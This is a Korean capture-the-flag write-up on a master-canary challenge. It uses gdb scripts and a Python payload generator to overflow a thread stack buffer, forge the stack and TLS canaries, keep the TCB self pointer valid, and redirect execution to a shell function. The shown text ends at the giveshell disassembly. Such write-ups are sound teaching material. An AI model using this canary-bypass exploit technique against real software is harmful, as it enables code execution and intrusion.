buf์—์„œ fs:0x28๊นŒ์ง€์˜ ๊ฑฐ๋ฆฌ๋Š” glibc ๋ฒ„์ „๋งˆ๋‹ค ๋‹ค๋ฅด๋‹ค. struct pthread ๋ ˆ์ด์•„์›ƒ๋„, start_thread๊ฐ€ ์“ฐ๋Š” ์Šคํƒ ํฌ๊ธฐ๋„ ๋ฒ„์ „๋งˆ๋‹ค ๋‹ฌ๋ผ์ง€๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ๊ทธ๋ž˜์„œ ๋ฌธ์ œ์™€ ๊ฐ™์€ glibc๋กœ ์ง์ ‘ ์žฌ์•ผ ํ•œ๋‹ค. ๋ฐฐํฌ๋ณธ์ด libc.so.6๊ณผ ld-linux-x86-64.so.2๋ฅผ ๊ฐ™์ด ์ค€ ์ด์œ ๊ฐ€ ์ด๊ฒƒ์ด๋‹ค.

๋กœ์ปฌ ํ™˜๊ฒฝ ๊ตฌ์„ฑ

๋‚ด ๋ฐ์Šคํฌํ†ฑ glibc๋Š” 2.42๋ผ์„œ ๊ทธ๋Œ€๋กœ ๋Œ๋ฆฌ๋ฉด ๋‹ค๋ฅธ ๊ฐ’์ด ๋‚˜์˜จ๋‹ค. ๋ฐฐํฌ๋œ 2.35๋กœ ๊ฐ•์ œํ•œ๋‹ค.

mkdir -p work && cd work
cp ../extracted/{mc_thread,libc.so.6,ld-linux-x86-64.so.2} .
chmod +x mc_thread ld-linux-x86-64.so.2
patchelf --set-interpreter "$PWD/ld-linux-x86-64.so.2" --set-rpath "$PWD" mc_thread
ldd mc_thread          # libc.so.6 ์ด work/ ๊ฒƒ์œผ๋กœ ์žกํžˆ๋Š”์ง€ ํ™•์ธ

strings libc.so.6 | grep "GNU C Library"๋กœ ๋ฒ„์ „์„ ํ™•์ธํ•ด ๋‘๋ฉด ์ข‹๋‹ค โ€” ์ด ๋ฐฐํฌ๋ณธ์€ Ubuntu GLIBC 2.35-0ubuntu3.1์ด๋‹ค.

gdb๋กœ ์žฌ๊ธฐ

read_bytes ํ˜ธ์ถœ ์ง์ „(0x401396)์— ๋ฉˆ์ถฐ rbp์™€ fs_base๋ฅผ ์ฝ์œผ๋ฉด ํ•„์š”ํ•œ ๊ฐ’์ด ๋‹ค ๋‚˜์˜จ๋‹ค. run < size1.txt๋กœ ํ‘œ์ค€์ž…๋ ฅ์„ ํŒŒ์ผ์—์„œ ๋ฐ›๊ฒŒ ํ•ด์„œ ๋Œ€ํ™”ํ˜• ์ž…๋ ฅ ์—†์ด ๋ฐฐ์น˜๋กœ ๋Œ๋ฆฐ๋‹ค (size1.txt์—๋Š” 1 ํ•œ ์ค„๋งŒ ๋“ค์–ด ์žˆ๋‹ค).

set confirm off
set pagination off
# read_bytes(buf, size) ํ˜ธ์ถœ ์ง์ „ โ€” ์ด ์‹œ์ ์˜ rbp / fs_base ๋กœ ์˜คํ”„์…‹์„ ์žฐ๋‹ค
break *0x401396
run < size1.txt
printf "buf         = %p\n", (char *)($rbp-0x110)
printf "canary_slot = %p\n", (char *)($rbp-0x8)
printf "ret_addr    = %p\n", (char *)($rbp+0x8)
printf "fs_base(TCB)= %p\n", (char *)$fs_base
printf "master_can  = %p\n", (char *)($fs_base+0x28)
printf "\n--- offsets from buf ---\n"
printf "buf -> canary_slot : 0x%lx\n", (long)($rbp-0x8)-(long)($rbp-0x110)
printf "buf -> ret_addr    : 0x%lx\n", (long)($rbp+0x8)-(long)($rbp-0x110)
printf "buf -> master_can  : 0x%lx\n", (long)($fs_base+0x28)-(long)($rbp-0x110)
printf "\nstack canary  = %p\n", *(unsigned long*)($rbp-0x8)
printf "master canary = %p\n", *(unsigned long*)((long)$fs_base+0x28)
quit

gdb๊ฐ€ ๋ฑ‰๋Š” ๊ฒฝ๊ณ (patchelf๋กœ ์„น์…˜์„ ์˜ฎ๊ธด ํƒ“์— ๋‚˜์˜ค๋Š” Loadable section ... outside of ELF segments, libthread_db ๊ฒฝ๊ณ )๋Š” ํ™”๋ฉด์„ ๊ฐ€๋ฆฌ๊ธฐ๋งŒ ํ•ด์„œ gdbnoise.txt๋กœ ๊ฑธ๋ €๋‹ค.

^warning:
outside of ELF
^  in /home
gdb -q -batch -x find_offset.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s

gdb ๋ฐฐ์น˜ ์‹คํ–‰์œผ๋กœ buf์—์„œ ์นด๋‚˜๋ฆฌ, ๋ฐ˜ํ™˜ ์ฃผ์†Œ, TLS ์›๋ณธ๊นŒ์ง€์˜ ์˜คํ”„์…‹์„ ์‹ค์ธกํ•œ ํ™”๋ฉด์ด๋‹ค
gdb ๋ฐฐ์น˜ ์‹คํ–‰์œผ๋กœ buf์—์„œ ์นด๋‚˜๋ฆฌ, ๋ฐ˜ํ™˜ ์ฃผ์†Œ, TLS ์›๋ณธ๊นŒ์ง€์˜ ์˜คํ”„์…‹์„ ์‹ค์ธกํ•œ ํ™”๋ฉด์ด๋‹ค

๋Œ€์ƒbuf ๊ธฐ์ค€ ์˜คํ”„์…‹
์นด๋‚˜๋ฆฌ ๋ณต์‚ฌ๋ณธ [rbp-0x8]0x108
๋ฐ˜ํ™˜ ์ฃผ์†Œ [rbp+0x8]0x118
๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ fs:0x280x928

๊ทธ๋ฆฌ๊ณ  ๋งˆ์ง€๋ง‰ ๋‘ ์ค„์ด ์ด ๋ฌธ์ œ์˜ ์ „๋ถ€๋‹ค. stack canary์™€ master canary๊ฐ€ ์™„์ „ํžˆ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ์ฐํžŒ๋‹ค. ํ•จ์ˆ˜ ์ง„์ž…๋ถ€์—์„œ ์›๋ณธ์„ ๋ณต์‚ฌํ•ด ์˜จ ๊ฒƒ์ด๋‹ˆ ๋‹น์—ฐํ•˜์ง€๋งŒ, ๊ทธ ๋‘˜์ด ๊ฐ™์€ ํ”„๋กœ์„ธ์Šค ๋ฉ”๋ชจ๋ฆฌ ์•ˆ์—์„œ 0x820๋ฐ”์ดํŠธ ๋–จ์–ด์ ธ ๋‚˜๋ž€ํžˆ ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค์ด ๋ˆˆ์— ๋ณด์ด๋ฉด ๊ณต๊ฒฉ ๋ฐฉํ–ฅ์ด ์ •ํ•ด์ง„๋‹ค.

๋งคํ•‘๋„ ๊ฐ™์ด ํ™•์ธํ•œ๋‹ค

buf์™€ TCB๊ฐ€ ์ •๋ง ํ•œ ๋งคํ•‘ ์•ˆ์— ์žˆ๋Š”์ง€, ๊ทธ๋ฆฌ๊ณ  ๋‚˜์ค‘์— ์“ธ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ์ฃผ์†Œ๊ฐ€ ์–ด๋””์ธ์ง€ ๋ณธ๋‹ค.

set confirm off
set pagination off
break *0x401396
run < size1.txt
printf "\nthread buf  = %p    (fs_base = %p)\n", (char *)($rbp-0x110), (char *)$fs_base
info proc mappings
quit

์ „์ฒด ๋งคํ•‘์€ 45์ค„์ด๋ผ ๋ณด๊ณ  ์‹ถ์€ ์ค„๋งŒ maps_focus.txt๋กœ ๊ณจ๋ž๋‹ค.

thread buf
Start Addr
master-canary/work/mc_thread
[heap]
0x00007ffff73ff000
0x00007ffff7400000
gdb -q -batch -x mappings.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | grep -F -f maps_focus.txt

gdb info proc mappings ์ถœ๋ ฅ์ด๋‹ค. 8MB ์ต๋ช… ๋งคํ•‘ ํ•˜๋‚˜๊ฐ€ ์Šค๋ ˆ๋“œ ์Šคํƒ์ด๊ณ  ๊ทธ ์œ„์ชฝ์— TCB๊ฐ€ ์žˆ๋‹ค
gdb info proc mappings ์ถœ๋ ฅ์ด๋‹ค. 8MB ์ต๋ช… ๋งคํ•‘ ํ•˜๋‚˜๊ฐ€ ์Šค๋ ˆ๋“œ ์Šคํƒ์ด๊ณ  ๊ทธ ์œ„์ชฝ์— TCB๊ฐ€ ์žˆ๋‹ค

0x00007ffff7400000๋ถ€ํ„ฐ 0x00007ffff7c00000๊นŒ์ง€ 0x800000(8MB)์งœ๋ฆฌ ์ต๋ช… rw-p ๋งคํ•‘์ด ์Šค๋ ˆ๋“œ ์Šคํƒ์ด๋‹ค. buf = 0x7ffff7bfed40, fs_base = 0x7ffff7bff640 โ€” ๋‘˜ ๋‹ค ๊ทธ ๋งคํ•‘์˜ ๊ผญ๋Œ€๊ธฐ ๊ทผ์ฒ˜๋‹ค. ๋ฐ”๋กœ ์•„๋ž˜ 0x7ffff73ff000์˜ ---p ํ•œ ํŽ˜์ด์ง€๋Š” ์Šคํƒ ์•„๋ž˜์ชฝ ๊ฐ€๋“œ ํŽ˜์ด์ง€๋‹ค. ๊ฐ€๋“œ ํŽ˜์ด์ง€๋Š” ์•„๋ž˜์—๋งŒ ์žˆ๋‹ค. ์œ„๋กœ ๋„˜์น˜๋Š” ์ด๋ฒˆ ๊ณต๊ฒฉ์—๋Š” ์•„๋ฌด ์†Œ์šฉ์ด ์—†๋‹ค.

๊ฐ™์€ ํ™”๋ฉด์—์„œ ํ•˜๋‚˜ ๋” ํ™•์ธํ•ด ๋‘”๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ์˜ 0x404000๋ถ€ํ„ฐ 0x405000๊นŒ์ง€๊ฐ€ rw-p๋‹ค. No PIE๋ผ ์ด ์ฃผ์†Œ๋Š” ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ๋˜‘๊ฐ™๋‹ค. ์ด๋”ฐ๊ฐ€ ์“ด๋‹ค.

๋‹ค๋ฅธ glibc๋ฅผ ์“ด๋‹ค๋ฉด 0x928์€ ๊ทธ๋Œ€๋กœ ์“ฐ๋ฉด ์•ˆ ๋œ๋‹ค. ์œ„ find_offset.gdb๋ฅผ ๊ทธ ํ™˜๊ฒฝ์—์„œ ๋Œ๋ ค ๋‹ค์‹œ ์žฌ๋ฉด ๋œ๋‹ค. 0x108๊ณผ 0x118์€ ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ •ํ•˜๋Š” ๊ฐ’์ด๋ผ ๋ฐ”๋€Œ์ง€ ์•Š๋Š”๋‹ค.



๐Ÿ› ์‚ฝ์งˆ โ€” ๊ทธ๋ƒฅ ๋ฎ์œผ๋ฉด ์ฃฝ๋Š”๋‹ค

์—ฌ๊ธฐ๊นŒ์ง€ ์˜ค๋ฉด ํŽ˜์ด๋กœ๋“œ๋Š” ๋ป”ํ•ด ๋ณด์ธ๋‹ค. buf๋ถ€ํ„ฐ 0x928๊นŒ์ง€ ์ญ‰ ์ฑ„์šฐ๊ณ  ์„ธ ์ž๋ฆฌ๋งŒ ์›ํ•˜๋Š” ๊ฐ’์œผ๋กœ ๋‘๋ฉด ๋œ๋‹ค.

โ–ถ๐Ÿ› ์‚ฝ์งˆ โ€” TCB๋ฅผ ํ†ต์งธ๋กœ ๋ญ‰๊ฐฐ๋”๋‹ˆ read()๊ฐ€ SIGSEGV

์ฒซ ํŽ˜์ด๋กœ๋“œ๋Š” ์ด๋žฌ๋‹ค. ์‚ฌ์ด ๊ตฌ๊ฐ„์€ ์ „๋ถ€ C๋กœ ์ฑ„์› ๋‹ค.

p  = b"A" * 0x108        # buf ~ ์นด๋‚˜๋ฆฌ ์ง์ „
p += p64(FAKE)           # ์นด๋‚˜๋ฆฌ ๋ณต์‚ฌ๋ณธ
p += b"B" * 8            # saved rbp
p += p64(GIVESHELL)      # ๋ฐ˜ํ™˜ ์ฃผ์†Œ
p += b"C" * (0x928 - len(p))   # ๋‚˜๋จธ์ง€ ์ „๋ถ€
p += p64(FAKE)           # fs:0x28

๊ฒฐ๊ณผ๋Š” ์…ธ์ด ์•„๋‹ˆ๋ผ SIGSEGV์˜€๋‹ค. ๊ทธ๊ฒƒ๋„ thread_routine์ด ๋ฐ˜ํ™˜ํ•˜๊ธฐ ์ „์—, ์•„์ง read_bytes ๋ฃจํ”„๋ฅผ ๋Œ๊ณ  ์žˆ๋Š” ์ค‘์— ์ฃฝ์—ˆ๋‹ค.

ํ™•์ธ์šฉ ์ž…๋ ฅ์„ ํŒŒ์ผ๋กœ ๋–จ๊ตฌ๋Š” ์Šคํฌ๋ฆฝํŠธ๋ฅผ ๋งŒ๋“ค์—ˆ๋‹ค. ๋งจ ์•ž 294\n์€ scanf("%d")๊ฐ€ ์ฝ๋Š” size๋‹ค.

#!/usr/bin/env python3
# gdb ๋กœ ํ™•์ธํ•  ์ž…๋ ฅ์„ ํŒŒ์ผ๋กœ ๋–จ๊ตฐ๋‹ค. ๋งจ ์•ž "294\n" ์€ scanf("%d") ๊ฐ€ ์ฝ๋Š” size ๋‹ค.
#   python3 gen_payload.py naive  -> payload_naive.bin  (TCB ๋ฅผ ํ†ต์งธ๋กœ ๋ญ‰๊ฐ  ์ฒซ ์‹œ๋„)
#   python3 gen_payload.py final  -> payload.bin        (self / multiple_threads ๋ฅผ ์‚ด๋ ค๋‘” ์ตœ์ข…๋ณธ)
import sys
from struct import pack
 
p64 = lambda x: pack("<Q", x)
 
GIVESHELL = 0x401256
OFF_CANARY, OFF_RET, OFF_MASTER = 0x108, 0x118, 0x928
OFF_TCB = OFF_MASTER - 0x28
FAKE = 0xDEADBEEFCAFEBABE
SAFE_SELF = 0x404000
 
mode = sys.argv[1] if len(sys.argv) > 1 else "final"
 
p = b"A" * OFF_CANARY + p64(FAKE) + b"B" * 8 + p64(GIVESHELL)
p += b"C" * (OFF_TCB - len(p))
if mode == "naive":
    p += b"C" * 0x28  # tcbhead_t ๋ฅผ ํ†ต์งธ๋กœ 'C' ๋กœ (= ์ฒซ ์‹œ๋„)
    out = "payload_naive.bin"
else:
    p += p64(0) + p64(0) + p64(SAFE_SELF) + p64(0) + p64(0)
    out = "payload.bin"
p += p64(FAKE)
 
assert len(p) == OFF_MASTER + 8
open(out, "wb").write(b"%d\n" % (len(p) // 8) + p)
print(f"{out}: {len(p)} bytes, size = {len(p)//8}")

๊ทธ๋ฆฌ๊ณ  ์–ด๋””์„œ ์ฃฝ๋Š”์ง€ ๋ณธ๋‹ค.

set confirm off
set pagination off
# tcbhead_t ๋ฅผ ํ†ต์งธ๋กœ ๋ญ‰๊ฐ  ์ฒซ ์‹œ๋„ โ€” ์–ด๋””์„œ ์ฃฝ๋Š”์ง€ ๋ณธ๋‹ค
run < payload_naive.bin
printf "\n=== crash site ===\n"
info registers rip rax
x/2i $rip
quit
python3 gen_payload.py naive
gdb -q -batch -x crash_naive.gdb ./mc_thread 2>&1 | grep -v -f gdbnoise.txt | cat -s

gdb๋กœ ์žก์€ ํฌ๋ž˜์‹œ ์ง€์ ์ด๋‹ค. rax๊ฐ€ 0x4343434343434343์ด๊ณ  movb ๋ช…๋ น์ด ๊ทธ ์ฃผ์†Œ์— ์“ฐ๋ ค๋‹ค ์ฃฝ์—ˆ๋‹ค
gdb๋กœ ์žก์€ ํฌ๋ž˜์‹œ ์ง€์ ์ด๋‹ค. rax๊ฐ€ 0x4343434343434343์ด๊ณ  movb ๋ช…๋ น์ด ๊ทธ ์ฃผ์†Œ์— ์“ฐ๋ ค๋‹ค ์ฃฝ์—ˆ๋‹ค

rax = 0x4343434343434343. ์šฐ๋ฆฌ๊ฐ€ ์ฑ„์šด C ์—ฌ๋Ÿ ๊ฐœ๋‹ค. ์ฃฝ์€ ๋ช…๋ น์€ movb $0x0,0x972(%rax). ์–ด๋”˜๊ฐ€์—์„œ ์šฐ๋ฆฌ๊ฐ€ ๋ฎ์€ ๊ฐ’์„ ํฌ์ธํ„ฐ๋กœ ๋ฏฟ๊ณ  ์—ญ์ฐธ์กฐํ•˜๊ณ  ์žˆ๋‹ค๋Š” ๋œป์ด๋‹ค.

ํฌ๋ž˜์‹œ ์ฃผ์†Œ๊ฐ€ libc ์•ˆ์ด๋ผ ๊ทธ ๊ทผ์ฒ˜๋ฅผ ๋–  ๋ดค๋‹ค. ์‹ฌ๋ณผ์ด __libc_alloca_cutoff+...๋กœ ์žกํžˆ๋Š”๋ฐ, ์ด๊ฑด ๋กœ์ปฌ ์‹ฌ๋ณผ์ด ์—†์–ด์„œ ๊ฐ€์žฅ ๊ฐ€๊นŒ์šด ๊ณต๊ฐœ ์‹ฌ๋ณผ๋กœ ํ‘œ์‹œ๋œ ๊ฒƒ๋ฟ์ด๋‹ค. ๋‚ด์šฉ์€ ๋‹ค๋ฅธ ํ•จ์ˆ˜๋‹ค.

objdump -d --no-show-raw-insn --start-address=0x90a70 --stop-address=0x90afa libc.so.6 \
  | sed -E -f ../work/annot_cancel.sed

objdump๋กœ ๋œฌ libc ๋””์Šค์–ด์…ˆ๋ธ”์ด๋‹ค. fs:0x10์—์„œ ์ฝ์€ self ํฌ์ธํ„ฐ๋ฅผ ๋‘ ๊ณณ์—์„œ ์—ญ์ฐธ์กฐํ•œ๋‹ค
objdump๋กœ ๋œฌ libc ๋””์Šค์–ด์…ˆ๋ธ”์ด๋‹ค. fs:0x10์—์„œ ์ฝ์€ self ํฌ์ธํ„ฐ๋ฅผ ๋‘ ๊ณณ์—์„œ ์—ญ์ฐธ์กฐํ•œ๋‹ค

๋‘ ๊ฐœ์˜ ํ•จ์ˆ˜๊ฐ€ ๋ถ™์–ด ์žˆ๋‹ค. ์ด๋ฆ„์€ ๋™์  ์‹ฌ๋ณผ ํ…Œ์ด๋ธ”์— ์—†๋‹ค โ€” nm -D๋กœ ๋ณด๋ฉด ๋ฐ”๋กœ ์•ž์ด __libc_alloca_cutoff(0x90a20), ๋’ค๊ฐ€ __pthread_register_cancel(0x90b00)์ด๋ผ ๊ทธ ์‚ฌ์ด์˜ ์ทจ์†Œ ์ฒ˜๋ฆฌ ํ•จ์ˆ˜๋“ค์ด๋‹ค. ํ•˜๋Š” ์ผ๋„ ๊ทธ๋Œ€๋กœ๋‹ค. ์•ž์ชฝ์€ fs:0x972(์ทจ์†Œ ํƒ€์ž…)์˜ ์˜› ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋ฉด์„œ 1๋กœ ๋ฐ”๊พธ๊ณ , ๋’ค์ชฝ์€ ๊ทธ ์˜› ๊ฐ’์„ edi๋กœ ๋ฐ›์•„ ๋˜๋Œ๋ฆฐ๋‹ค. glibc์˜ __pthread_enable_asynccancel / __pthread_disable_asynccancel ์Œ์ด๋‹ค. read๋Š” ์ทจ์†Œ ์ง€์ (cancellation point)์ด๋ผ ํ˜ธ์ถœ ์•ž๋’ค๋กœ ์ด ๋‘˜์„ ๋ถ€๋ฅธ๋‹ค.

๋ฌธ์ œ๋Š” ๋‘ ํ•จ์ˆ˜๊ฐ€ ๋ชจ๋‘ mov %fs:0x10,%rcx(๋˜๋Š” %rax)๋กœ self ํฌ์ธํ„ฐ๋ฅผ ์ฝ์–ด์„œ ์—ญ์ฐธ์กฐํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค.

  • enable ์ชฝ: cmpb $0x0,0x971(%rcx) โ€” self+0x971์„ ์ฝ๋Š”๋‹ค.
  • disable ์ชฝ: movb $0x0,0x972(%rax) โ€” self+0x972์— ์“ด๋‹ค.

์ •์ƒ ์ƒํƒœ์—์„œ๋Š” self๊ฐ€ fs_base ์ž์‹ ์„ ๊ฐ€๋ฆฌํ‚ค๋‹ˆ ๊ทธ๋ƒฅ fs:0x971, fs:0x972์™€ ๊ฐ™์€ ์ž๋ฆฌ๋‹ค. ๊ทธ๋Ÿฐ๋ฐ ์šฐ๋ฆฌ๊ฐ€ fs:0x10์„ C๋กœ ์ฑ„์šฐ๋Š” ์ˆœ๊ฐ„ ์ด ๊ฐ’์€ 0x4343...์ด ๋˜๊ณ , ๋ฐ”๋กœ ๊ทธ read()๊ฐ€ ๋ฐ˜ํ™˜ํ•˜๋ฉด์„œ ๋ถ€๋ฅด๋Š” disable์ด ๊ฑฐ๊ธฐ์— ์“ฐ๋ ค๋‹ค ์ฃฝ๋Š”๋‹ค.

์ฆ‰ ์ˆœ์„œ๊ฐ€ ์ด๋ ‡๋‹ค. read๊ฐ€ fs:0x10 ์ž๋ฆฌ์— ์šฐ๋ฆฌ ๋ฐ์ดํ„ฐ๋ฅผ ์“ฐ๊ณ  โ†’ ๊ทธ read์˜ ๋’ค์ฒ˜๋ฆฌ๋กœ disable_asynccancel์ด ๋ถˆ๋ฆฌ๊ณ  โ†’ ๋ฐฉ๊ธˆ ์šฐ๋ฆฌ๊ฐ€ ๋ง์นœ ํฌ์ธํ„ฐ๋ฅผ ๊ทธ๋Œ€๋กœ ์“ด๋‹ค. TCB๋ฅผ ์ง€๋‚˜๊ฐ€์•ผ ํ•˜๋Š”๋ฐ, ์ง€๋‚˜๊ฐ€๋Š” ์ˆœ๊ฐ„ ๋‹ค์Œ ๊ฑธ์Œ์ด ๋ฌด๋„ˆ์ง€๋Š” ๊ตฌ์กฐ๋‹ค.


๐Ÿ’ฃ ํ•ต์‹ฌ โ€” TCB๋ฅผ "ํ†ต๊ณผ"ํ•˜๋Š” ๋ฒ•

fs:0x28์— ๋‹ฟ์œผ๋ ค๋ฉด ๊ทธ ์•ž์˜ 0x00~0x27 ๋‹ค์„ฏ ์นธ์„ ๋ฐ˜๋“œ์‹œ ์ง€๋‚˜์•ผ ํ•œ๋‹ค. ์ง€์šธ ์ˆ˜๋Š” ์—†์œผ๋‹ˆ ์ฃฝ์ง€ ์•Š์„ ๊ฐ’์œผ๋กœ ์ฑ„์›Œ์„œ ์ง€๋‚˜๊ฐ„๋‹ค. ๊ฐ ์นธ์„ ํ•˜๋‚˜์”ฉ ๋”ฐ์ ธ ๋ดค๋‹ค.

์˜คํ”„์…‹ํ•„๋“œ๋ฎ์–ด๋„ ๋˜๋‚˜์ฑ„์šด ๊ฐ’
fs:0x00tcb์ดํ›„ ๊ฒฝ๋กœ์—์„œ ์•ˆ ์ฝ๋Š”๋‹ค0
fs:0x08dtv๋™์  TLS ์ ‘๊ทผ์—๋งŒ ์“ฐ์ธ๋‹ค. ๋‚จ์€ ๊ฒฝ๋กœ์—๋Š” ์—†๋‹ค0
fs:0x10self์—ญ์ฐธ์กฐ๋œ๋‹ค. ์œ ํšจํ•œ ์“ฐ๊ธฐ ๊ฐ€๋Šฅ ์ฃผ์†Œ์—ฌ์•ผ ํ•œ๋‹ค0x404000
fs:0x18multiple_threads / gscope_flag๊ฐ’์— ๋”ฐ๋ผ ๊ฒฝ๋กœ๊ฐ€ ๊ฐˆ๋ฆฐ๋‹ค0
fs:0x20sysinfox86-64์—์„œ๋Š” ์•ˆ ์“ด๋‹ค0
fs:0x28stack_guard๋ชฉํ‘œ0xdeadbeefcafebabe

self๋ฅผ ์–ด๋””๋กœ ๋ณด๋‚ผ ๊ฒƒ์ธ๊ฐ€

ํ•„์š”ํ•œ ์กฐ๊ฑด์€ ๋‘ ๊ฐ€์ง€๋ฟ์ด๋‹ค. self+0x971์ด ์ฝ์„ ์ˆ˜ ์žˆ๊ณ , self+0x972์— ์“ธ ์ˆ˜ ์žˆ์œผ๋ฉด ๋œ๋‹ค. ์Šค๋ ˆ๋“œ TCB์˜ ์ง„์งœ ์ฃผ์†Œ๋Š” ASLR ๋•Œ๋ฌธ์— ๋ชจ๋ฅธ๋‹ค. ํ•˜์ง€๋งŒ ์ด ๋ฐ”์ด๋„ˆ๋ฆฌ๋Š” No PIE๋‹ค. ๋ฐ”์ด๋„ˆ๋ฆฌ๊ฐ€ ์ฐจ์ง€ํ•˜๋Š” ์ฃผ์†Œ๋Š” ์‹คํ–‰ํ•  ๋•Œ๋งˆ๋‹ค ๋˜‘๊ฐ™๋‹ค.

readelf -lW mc_thread | grep -E "Type|LOAD|GNU_RELRO"

readelf ์„ธ๊ทธ๋จผํŠธ ์ถœ๋ ฅ์ด๋‹ค. ๋งˆ์ง€๋ง‰ LOAD๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ณ  RELRO๋Š” ๊ทธ ์•ž์—์„œ ๋๋‚œ๋‹ค
readelf ์„ธ๊ทธ๋จผํŠธ ์ถœ๋ ฅ์ด๋‹ค. ๋งˆ์ง€๋ง‰ LOAD๊ฐ€ ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๊ณ  RELRO๋Š” ๊ทธ ์•ž์—์„œ ๋๋‚œ๋‹ค

๋งˆ์ง€๋ง‰ LOAD๊ฐ€ 0x403e10์—์„œ ์‹œ์ž‘ํ•ด ๋ฉ”๋ชจ๋ฆฌ ํฌ๊ธฐ 0x290, ์ฆ‰ 0x4040a0๊นŒ์ง€๋‹ค. ๊ถŒํ•œ์€ RW. GNU_RELRO๋Š” 0x403e10๋ถ€ํ„ฐ 0x1f0๋ฐ”์ดํŠธ, ๋‹ค์‹œ ๋งํ•ด 0x404000์—์„œ ๋๋‚œ๋‹ค. ๊ทธ๋ž˜์„œ RELRO๊ฐ€ ์ ์šฉ๋œ ๋’ค์—๋„ 0x404000 ์ดํ›„๋Š” ๊ณ„์† ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•˜๋‹ค.

๋งคํ•‘์€ ํŽ˜์ด์ง€ ๋‹จ์œ„๋ผ ์‹ค์ œ๋กœ๋Š” 0x404000๋ถ€ํ„ฐ 0x405000๊นŒ์ง€ ํ•œ ํŽ˜์ด์ง€๊ฐ€ ํ†ต์งธ๋กœ rw-p๋กœ ์žกํžŒ๋‹ค. ์•ž์—์„œ info proc mappings๋กœ ์ด๋ฏธ ํ™•์ธํ•œ ๊ทธ ์ค„์ด๋‹ค. self = 0x404000์œผ๋กœ ๋‘๋ฉด self+0x972 = 0x404972๊ฐ€ ๊ทธ ํŽ˜์ด์ง€ ์•ˆ์— ๋“ค์–ด์˜จ๋‹ค.

multiple_threads = 0์ด ์ฃผ๋Š” ๋ค

fs:0x18์„ 0์œผ๋กœ ๋งŒ๋“ค๋ฉด glibc์˜ SINGLE_THREAD_P๊ฐ€ ์ฐธ์ด ๋œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ์ดํ›„์˜ read๋Š” ์ทจ์†Œ ์ฒ˜๋ฆฌ ์ž์ฒด๋ฅผ ๊ฑด๋„ˆ๋›ฐ๊ณ  ๊ณง์žฅ ์‹œ์Šคํ…œ ์ฝœ๋กœ ๊ฐ„๋‹ค. self๋ฅผ ์•ˆ์ „ํ•œ ๊ณณ์œผ๋กœ ๋Œ๋ ค๋†“์€ ๊ฒƒ๋งŒ์œผ๋กœ๋„ ์ถฉ๋ถ„ํ•˜์ง€๋งŒ, ์ด๊ฑธ ๊ฐ™์ด ํ•ด ๋‘๋ฉด self๋ฅผ ๊ฑด๋“œ๋ฆฌ๋Š” ๊ฒฝ๋กœ ์ž์ฒด๊ฐ€ ์‚ฌ๋ผ์ ธ์„œ ๋” ํ™•์‹คํ•˜๋‹ค.

์ˆœ์„œ๋„ ๋งž๋‹ค. ํŽ˜์ด๋กœ๋“œ์—์„œ self(+0x910)๊ฐ€ multiple_threads(+0x918)๋ณด๋‹ค ๋จผ์ € ์“ฐ์ด๋ฏ€๋กœ, self๋ฅผ ๋ฎ์€ ๊ทธ read์˜ ๋’ค์ฒ˜๋ฆฌ๋Š” ์ด๋ฏธ 0x404000์„ ์“ด๋‹ค.

์™œ dtv๋ฅผ 0์œผ๋กœ ๋‘ฌ๋„ ๋˜๋‚˜

dtv๋Š” ๋™์  TLS ๋ณ€์ˆ˜๋ฅผ ์ฐพ์„ ๋•Œ(__tls_get_addr) ์“ฐ์ธ๋‹ค. ์นด๋‚˜๋ฆฌ ๊ฒ€์‚ฌ๊ฐ€ ๋๋‚˜๊ณ  giveshell๋กœ ๊ฐ€์„œ execve๋ฅผ ๋ถ€๋ฅด๋Š” ๊ทธ ์งง์€ ๊ฒฝ๋กœ์—๋Š” ๋™์  TLS ์ ‘๊ทผ์ด ์—†๋‹ค. execve๊ฐ€ ์‹คํŒจํ•˜๋ฉด errno๋ฅผ ๊ฑด๋“œ๋ฆฌ๋Š”๋ฐ ๊ทธ๊ฑด initial-exec ๋ชจ๋ธ์ด๋ผ fs ์˜คํ”„์…‹ ์ง์ ‘ ์ ‘๊ทผ์ด๊ณ , ์• ์ดˆ์— ์„ฑ๊ณตํ•˜๋ฉด ๊ทธ ์ฝ”๋“œ๋กœ ๋Œ์•„์˜ค์ง€๋„ ์•Š๋Š”๋‹ค.



๐ŸŽฏ ํŽ˜์ด๋กœ๋“œ ์กฐ๋ฆฝ

์ •๋ฆฌํ•˜๋ฉด ์ด๋ ‡๊ฒŒ ๋œ๋‹ค. ์ด 0x930 = 2352๋ฐ”์ดํŠธ, read_bytes๊ฐ€ 8๋ฐ”์ดํŠธ์”ฉ ์ฝ์œผ๋‹ˆ size = 294๋‹ค.

buf ์˜คํ”„์…‹๊ธธ์ด๊ฐ’
+0x0000x108A ์ฑ„์›€
+0x1088์œ„์กฐ ์นด๋‚˜๋ฆฌ 0xdeadbeefcafebabe
+0x1108saved rbp (์•„๋ฌด ๊ฐ’)
+0x1188giveshell = 0x401256
+0x1200x7e0C ์ฑ„์›€ (์•ˆ ์“ฐ๋Š” ์Šคํƒ + static TLS)
+0x9008tcb = 0
+0x9088dtv = 0
+0x9108self = 0x404000
+0x9188multiple_threads = 0
+0x9208sysinfo = 0
+0x9288๋งˆ์Šคํ„ฐ ์นด๋‚˜๋ฆฌ = 0xdeadbeefcafebabe

๋ฐ˜ํ™˜ ์ฃผ์†Œ๋ฅผ giveshell์˜ ์‹œ์ž‘(0x401256)์œผ๋กœ ์žก๋Š” ๊ฒŒ ๋งž๋Š”์ง€๋„ ํ™•์ธํ•ด ๋‘”๋‹ค.

0000000000401256 <giveshell>:
  401256:  endbr64
  40125a:  push   rbp
  40125b:  mov    rbp,rsp
